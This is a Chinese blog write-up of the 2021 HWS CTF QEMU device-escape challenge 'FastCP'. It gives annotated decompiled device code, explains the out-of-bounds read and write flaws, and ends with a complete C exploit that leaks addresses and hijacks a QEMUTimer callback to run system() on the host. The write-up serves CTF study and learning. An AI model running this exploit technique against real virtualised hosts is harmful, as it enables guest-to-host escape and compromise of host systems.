qemu pwn 2021 HWS FastCP

启动脚本长这样。

#!/bin/sh

./qemu-system-x86_64 -initrd ./initramfs-busybox-x64.cpio.gz -nographic -kernel ./vmlinuz-5.0.5-generic -append "priority=low console=ttyS0" -monitor /dev/null --device FastCP

在这里插入图片描述
绿肯定是全绿

设备是FastCP

在这里插入图片描述
这是里面设备结构体的全貌
在这里插入图片描述里面还有一个叫CP_state的结构体
在这里插入图片描述三个参数

FastCP_realize函数中设置了一个定时器
定时器时间到了会调用fastcp_cp_timer函数
然后创建了一个mmio
在这里插入图片描述

fastcp_mmio_read
在这里插入图片描述功能0x00 返回opaque->handling
功能0x08 返回opaque->cp_state.CP_list_src
功能0x10 返回opaque->cp_state.CP_list_cnt
功能0x18 返回opaque->cp_state.cmd

fastcp_mmio_write
在这里插入图片描述功能0x08 给cp_list_src赋值
功能0x10 handing不是1的情况下给cp_list_cnt赋值
功能0x18 handing不是1的情况下给cp_list_cmd赋值然后调用timer

然后我们瞅瞅fastcp_cp_timer函数

void __fastcall fastcp_cp_timer(FastCPState *opaque)
{
  uint64_t v1; // rax
  uint64_t v2; // rdx
  __int64 v3; // rbp
  uint64_t v4; // r12
  uint64_t v5; // rax
  uint64_t v6; // rax
  bool v7; // zf
  uint64_t v8; // rbp
  __int64 v9; // rdx
  FastCP_CP_INFO cp_info; // [rsp+0h] [rbp-68h] BYREF
  char buf[8]; // [rsp+20h] [rbp-48h] BYREF
  unsigned __int64 v12; // [rsp+28h] [rbp-40h]
  unsigned __int64 v13; // [rsp+38h] [rbp-30h]

  v13 = __readfsqword(0x28u);
  v1 = opaque->cp_state.cmd;
  cp_info.CP_src = 0LL;
  cp_info.CP_cnt = 0LL;
  cp_info.CP_dst = 0LL;
  switch ( v1 )                                 // cp_state.cmd来做选择
  {
    case 2uLL:                                  // 选择2
      v7 = opaque->cp_state.CP_list_cnt == 1;   // v7是cp_list_cnt是不是1
      opaque->handling = 1;                     // handing置1
                                                // 也就是不再给计时器机会
      if ( v7 )                                 // 要求v7是1也就是cp_list_cnt不是1
      {                                         // cpu_physical_memory_rw(a1, a2, a3, 1);是将a2复制到a1,而cpu_physical_memory_rw(a1, a2, a3, 0);则将a1复制到a2
                                                // 但是要注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。
        cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);// 所以就list_src里面的复制0x18个字节到cp_info结构体
        if ( cp_info.CP_cnt <= 0x1000 )         // cp_cnt必须小于0x1000
                                                // 然后就可以把cp_info.cp_src中的复制到cp_buffer
          cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
        v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFFCLL;
        opaque->cp_state.cmd = v6;
        goto LABEL_11;                          // 然后拜拜
      }
      break;
    case 4uLL:
      v7 = opaque->cp_state.CP_list_cnt == 1;
      opaque->handling = 1;
      if ( v7 )                                 // cp_list_cnt还得不是1
      {                                         // 还是list_src写进去cp_info结构体
                                                // cp_buffer又能写cnt个到cp_dst
        cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);
        cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);// 这里没有对这个cnt有检查
        v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFF8LL;
        opaque->cp_state.cmd = v6;              // 然后又拜拜
LABEL_11:
        if ( (v6 & 8) != 0 )                    // cmd要求是8
        {
          opaque->irq_status |= 0x100u;
          if ( msi_enabled(&opaque->pdev) )
            msi_notify(&opaque->pdev, 0);
          else
            pci_set_irq(&opaque->pdev, 1);
        }
        goto LABEL_16;                          // 但是走了这个地方之后又handing等于0了
                                                // 就又能启动timer了
      }
      break;
    case 1uLL:                                  // 功能1
      v2 = opaque->cp_state.CP_list_cnt;
      opaque->handling = 1;
      if ( v2 > 0x10 )                          // list_cnt根据0x10分一下
      {
LABEL_22:
        v8 = 0LL;
        do
        {
          v9 = 3 * v8++;                        // 它就24个字节循环一下
                                                // 控制cp_info结构体
                                                // 然后src写到buffer
                                                // 再从buffer读到dst
                                                // 但是仍然没有对CP_cnt进行设置
                                                // 就能改dst的话任意写。
          cpu_physical_memory_rw(opaque->cp_state.CP_list_src + 8 * v9, &cp_info, 0x18uLL, 0);
          cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
          cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);
        }
        while ( opaque->cp_state.CP_list_cnt > v8 );
      }
      else
      {
        if ( !v2 )                              // cnt不能是0
        {
LABEL_10:
          v6 = v1 & 0xFFFFFFFFFFFFFFFELL;
          opaque->cp_state.cmd = v6;
          goto LABEL_11;
        }
        v3 = 0LL;
        v4 = 0LL;
        while ( 1 )
        {
          cpu_physical_memory_rw(v3 + opaque->cp_state.CP_list_src, buf, 0x18uLL, 0);// 能写buf  能覆盖v12  v13
          if ( v12 > 0x1000 )                   // v12不能大于0x1000
            break;
          v5 = opaque->cp_state.CP_list_cnt;
          ++v4;
          v3 += 24LL;
          if ( v4 >= v5 )
          {
            if ( !v5 )                          // 这里似乎没啥用
              break;
            goto LABEL_22;
          }
        }
      }
      v1 = opaque->cp_state.cmd;
      goto LABEL_10;
    default:
      return;
  }
  opaque->cp_state.cmd = 0LL;
LABEL_16:
  opaque->handling = 0;
}

思路还是比较简单的
我们就正常越界读泄露基地址
劫持QEMUTimer结构体就行。

在这里插入图片描述在文件系统中拿到用户名密码
用户是root 没有密码

拿到id
在这里插入图片描述

解压打包脚本

mkdir exp
cp initramfs-busybox-x64.cpio.gz exp
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz 
cpio -idmv < ./initramfs-busybox-x64.cpio
gcc -static exp.c -o exp
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..

我们结合着调试看分步再看一下漏洞利用。

首先把buf填满
在这里插入图片描述

然从buf复制到buf
在这里插入图片描述首先要注意的是
我们读写超过了0x1000,所以需要申请两个页以上
但是因为虽然看似我们mmap(0x2000),但是他们的物理地址其实并不相连
所以我们首先第一步就是要重复mmap得到两个物理地址相连的页。

而且我们要注意写脚本过程中取泄露值的时候不能直接*(buf0 +0x201)
因为虽然物理地址上两个页是相连的,但是我们的exp利用的是qemu里面程序的虚拟地址,他俩并不连续,所以泄露地址我们应该直接用buf1

泄露程序基地址以及heap地址之后
然后就能拿到system的地址
以及一会写字符串的地址
在这里插入图片描述

然后就尝试去任意写覆盖QEMUTimer中的地址。
cb指针改成system
opaque改成写/bin/sh的地址

当然要体现把/bin/sh写进去。
在这里插入图片描述
最后触发timer_mod就可以。
在这里插入图片描述

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)


//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t *userbuf;
uint64_t phy_userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }
    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
    if ( !result ) {
        return 0;
    }
    close( fd );
    return result;
}

uint64_t page_offset(uint64_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}



uint8_t mmio_read(uint64_t addr)
{
    return *((uint64_t*) (mmio_mem+addr));
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *( (uint64_t *) (mmio_mem+addr) ) = value;
}


void set_list_cnt(uint64_t cnt){
    mmio_write(0x10, cnt);
}

void set_src(uint64_t src){
    mmio_write(0x8, src);
}

void set_cmd(uint64_t cmd){
    mmio_write(0x18, cmd);
}

void set_read(uint64_t cnt){
    set_src(phy_userbuf);
    set_list_cnt(cnt);
    set_cmd(0x4);
    sleep(1);
}

void set_write(uint64_t cnt){
    set_src(phy_userbuf);
    set_list_cnt(cnt);
    set_cmd(0x2);
    sleep(1);
}

void set_read_write(uint64_t cnt){
    set_src(phy_userbuf);
    set_list_cnt(cnt);
    set_cmd(0x1);
    sleep(1);
}

uint64_t* buf0;
uint64_t* buf1;
//uint64_t* buf0, buf1;
size_t phy_buf0, phy_buf1;

void get_pages()
{
    size_t buf[0x1000];
    size_t arry[0x1000];
    size_t arr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, 0, 0);
    *(char *)arr = 'a';
    int n = 0;
    buf[n] = gva_to_gfn(arr);
    arry[n++] = arr;
    for (int i = 1; i < 0x1000; i++)
    {
        arr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, 0, 0);
        *(char *)arr = 'a';
        size_t fn = gva_to_gfn(arr);
        for (int j = 0; j < n; j++)
        {
            if (buf[j] == fn + 1 || buf[j] + 1 == fn)
            {
                if (fn > buf[j])
                {
                    buf0 = arry[j];
                    buf1 = arr;
                    phy_buf0 = (buf[j]<<12);
                }
                else
                {
                    buf1 = arry[j];
                    buf0 = arr;
                    phy_buf0 = (fn<<12);
                }
                return;
            }
        }
        buf[n] = fn;
        arry[n++] = arr;
    }
}

int main(int argc, char *argv[])
{
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    mlock(userbuf, 0x1000);
    phy_userbuf=gva_to_gpa(userbuf);
    printf("user buff virtual address: %p\n",userbuf);
    printf("user buff physical address: %p\n",(void*)phy_userbuf);
    get_pages();
    memset(buf0, 'a', 0x1000);
    memset(buf1, 'a', 0x1000);
    mlock(buf0, 0x1000);
    mlock(buf1, 0x1000);
    phy_buf0=gva_to_gpa(buf0);
    phy_buf1=gva_to_gpa(buf1);
    printf("buf0 virtual address: %p\n",buf0);
    printf("phy_buf0 physical address: %p\n",(void*)phy_buf0);
    printf("buf1 virtual address: %p\n",buf1);
    printf("phy_buf1 physical address: %p\n",(void*)phy_buf1);

    //padding
    *(userbuf) = phy_buf0;
    *(userbuf + 1) = 0x1000;
    *(userbuf + 2) = 0xdeadbeef;
    set_write(1);

    //arbatiary read   
    //read QEMUTImer cb
    *(userbuf) = 0xdeadbeef;
    *(userbuf + 1) = 0x1020;
    *(userbuf + 2) = phy_buf0;
    set_read(1);

    uint64_t timer_list = *(buf1 + 0x1);
    uint64_t cb_addr = *(buf1 + 0x2);
    uint64_t heap_base = timer_list - 0x2456e0;
    uint64_t base_addr = cb_addr - 0x4dce80;
    uint64_t system_plt = base_addr + 0x2c2180;
    uint64_t buf_addr = heap_base + 0xf1dec0;
    printf("timer_list: %p\n",timer_list);
    printf("cb_addr: %p\n",cb_addr);
    printf("heap_base: %p\n",heap_base);
    printf("base_addr: %p\n",base_addr);
    printf("system_plt: %p\n",system_plt);
    printf("buf_addr: %p\n",buf_addr);

    //arbatiary write  
    //hijack QEMUTImer
    memset(buf0, 'b', 0x1000);
    //char *command="cat /root/flag\x00";
    char *command = "gnome-calculator\x00";
    memcpy(buf0 + 0x20,command,strlen(command) + 1);

    *(buf1 + 0x2) = system_plt;
    *(buf1 + 0x3) = buf_addr + 0x100;
    *(userbuf) = phy_buf0;
    *(userbuf + 1) = 0x1020;
    *(userbuf + 2) = phy_buf1;
    set_read_write(0x20);
    
    //get shell
    set_cmd(1);

    return 0;
}



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值